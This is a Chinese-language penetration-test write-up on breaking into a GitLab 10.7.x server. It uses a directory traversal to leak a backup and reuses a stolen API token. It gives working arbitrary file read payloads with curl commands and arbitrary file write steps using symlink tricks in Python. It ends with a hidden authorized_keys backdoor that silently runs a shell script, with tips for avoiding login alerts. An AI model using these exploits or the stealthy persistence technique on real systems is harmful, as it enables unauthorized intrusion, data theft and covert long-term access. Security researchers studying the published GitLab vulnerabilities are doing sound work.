记一次测试gitlab
字数 1326 2025-08-25 22:59:02

GitLab 渗透测试实战教学文档

1. 目标环境侦察

1.1 端口扫描

使用nmap进行初步扫描发现开放以下端口:

  • 80端口:GitLab服务
  • 22端口:SSH服务
  • 8000端口:存在目录遍历漏洞

1.2 信息收集

通过8000端口的目录遍历漏洞获取到:

  • GitLab数据库备份文件(3年前的旧备份)
  • 备份文件包含:
    • 登录用户名
    • 密码哈希值
    • 提交日志

2. 突破点分析

2.1 密码破解思路

  • 分析GitLab密码生成流程(Ruby实现)
  • 尝试弱密码破解(作为备选方案)

2.2 authentication_token利用

  • 在备份文件中查找authentication_token
  • 参考Seebug文章(https://paper.seebug.org/104/)利用token访问API接口
  • 成功通过token认证

3. GitLab版本确认

  • 确定GitLab版本为10.7.X
  • 查找该版本的已知漏洞:
    • 任意文件读取:https://gitlab.com/gitlab-org/gitlab-foss/issues/54857
    • 任意文件写入:https://gitlab.com/gitlab-org/gitlab-foss/issues/49133

4. 本地测试环境搭建

4.1 Docker环境配置

web:
  image: 'gitlab/gitlab-ce:10.7.3-ce.0'
  restart: always
  hostname: '127.0.0.1'
  environment:
    GITLAB_OMNIBUS_CONFIG: |
      external_url 'http://gitlab.example.com'
      redis['bind']='127.0.0.1'
      redis['port']=6379
      gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
      unicorn['socket']='/opt/gitlab/var/unicorn/gitlab.socket'      
  ports:
    - '80:80'
    - '50443:443'
    - '22:22'
  volumes:
    - './srv/gitlab/config:/etc/gitlab'
    - './srv/gitlab/logs:/var/log/gitlab'
    - './srv/gitlab/data:/var/opt/gitlab'
    - './steg0_initial_root_password:/steg0_initial_root_password'

4.2 密码重置

gitlab-ctl reconfigure
gitlab-ctl restart

# 使用root登录后重置密码
gitlab-rails console production
user = User.where(id: 2).first
user.password = '123456aa'
user.password_confirmation = '123456aa'
user.save

5. 漏洞利用

5.1 任意文件读取漏洞

POC

/api/v4/templates/gitignores/%2e%2e%2fPython%2ea

利用步骤

  1. 创建测试项目并打包:
tar zcf vuln.tar.gz *
  1. 使用API操作:
# 新建项目
curl --request POST --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" --form "path=project" --form "file=@./vuln.tar.gz" http://127.0.0.1:5080/api/v3/projects/import

# 导入项目(爆绝对路径)
curl --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70/import

# 删除项目
curl --request DELETE --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70
  1. 构造任意文件读取payload:
PAYLOAD=$(echo public/uploads/../shared/tmp/project_exports/test1/33333/083c74ddd76bc4a1f7ef7635efddcebd/uploads/host" | sed 's|\.|%2e|g' | sed 's|\/|%2f|g')
curl http://127.0.0.1/api/v3/templates/gitignores/$PAYLOAD%2ea -v|jq

注意事项

  • 使用tar zcf vuln.tar.gz ./*可能会失败
  • uploads目录权限为555,防止GitLab删除符号链接
  • project.json可以为空
  • 无权限文件读取会返回500错误
  • 不存在的文件显示404
  • 二进制文件会显示500的message

5.2 任意文件写入漏洞

影响版本

  • 受影响:>= 8.9.0
  • 修复版本:11.0.4, 10.8.6, 10.7.7

利用步骤

  1. 创建包含换行符的软连接:
import os
os.symlink("/var/opt/gitlab", ".\nevil")
  1. 上传并导入项目后删除项目,保留软连接

  2. 创建第二个压缩包:

import os
os.makedirs(".\nevil")
# 在目录下创建要写入的文件
  1. 上传第二个压缩包实现任意文件写入

6. Getshell方案

6.1 SSH公钥写入

  • 直接写入SSH公钥到/var/opt/gitlab/.ssh/authorized_keys
  • 问题:
    • 影响用户正常使用git更新代码
    • 异地SSH登录会触发报警

6.2 隐蔽后门方案

修改authorized_keys文件,添加后门命令:

command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133 ;bash /var/tmp/gitlab.sh >/dev/null 2>&1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...

注意事项

  • gitlab.sh脚本必须无输出
  • 不能阻塞正常功能
  • 反弹shell会阻塞正常功能

7. GitLab备份操作

创建备份文件:

sudo gitlab-rake gitlab:backup:create

8. 参考资源

  1. Seebug文章:https://paper.seebug.org/104/
  2. 任意文件读取漏洞:https://gitlab.com/gitlab-org/gitlab-foss/issues/54857
  3. 任意文件写入漏洞:https://gitlab.com/gitlab-org/gitlab-foss/issues/49133
  4. 漏洞复现:https://xz.aliyun.com/t/2661
GitLab 渗透测试实战教学文档 1. 目标环境侦察 1.1 端口扫描 使用nmap进行初步扫描发现开放以下端口: 80端口:GitLab服务 22端口:SSH服务 8000端口:存在目录遍历漏洞 1.2 信息收集 通过8000端口的目录遍历漏洞获取到: GitLab数据库备份文件(3年前的旧备份) 备份文件包含: 登录用户名 密码哈希值 提交日志 2. 突破点分析 2.1 密码破解思路 分析GitLab密码生成流程(Ruby实现) 尝试弱密码破解(作为备选方案) 2.2 authentication_ token利用 在备份文件中查找 authentication_token 参考Seebug文章(https://paper.seebug.org/104/)利用token访问API接口 成功通过token认证 3. GitLab版本确认 确定GitLab版本为10.7.X 查找该版本的已知漏洞: 任意文件读取:https://gitlab.com/gitlab-org/gitlab-foss/issues/54857 任意文件写入:https://gitlab.com/gitlab-org/gitlab-foss/issues/49133 4. 本地测试环境搭建 4.1 Docker环境配置 4.2 密码重置 5. 漏洞利用 5.1 任意文件读取漏洞 POC : 利用步骤 : 创建测试项目并打包: 使用API操作: 构造任意文件读取payload: 注意事项 : 使用 tar zcf vuln.tar.gz ./* 可能会失败 uploads目录权限为555,防止GitLab删除符号链接 project.json可以为空 无权限文件读取会返回500错误 不存在的文件显示404 二进制文件会显示500的message 5.2 任意文件写入漏洞 影响版本 : 受影响:>= 8.9.0 修复版本:11.0.4, 10.8.6, 10.7.7 利用步骤 : 创建包含换行符的软连接: 上传并导入项目后删除项目,保留软连接 创建第二个压缩包: 上传第二个压缩包实现任意文件写入 6. Getshell方案 6.1 SSH公钥写入 直接写入SSH公钥到 /var/opt/gitlab/.ssh/authorized_keys 问题: 影响用户正常使用git更新代码 异地SSH登录会触发报警 6.2 隐蔽后门方案 修改authorized_ keys文件,添加后门命令: 注意事项 : gitlab.sh脚本必须无输出 不能阻塞正常功能 反弹shell会阻塞正常功能 7. GitLab备份操作 创建备份文件: 8. 参考资源 Seebug文章:https://paper.seebug.org/104/ 任意文件读取漏洞:https://gitlab.com/gitlab-org/gitlab-foss/issues/54857 任意文件写入漏洞:https://gitlab.com/gitlab-org/gitlab-foss/issues/49133 漏洞复现:https://xz.aliyun.com/t/2661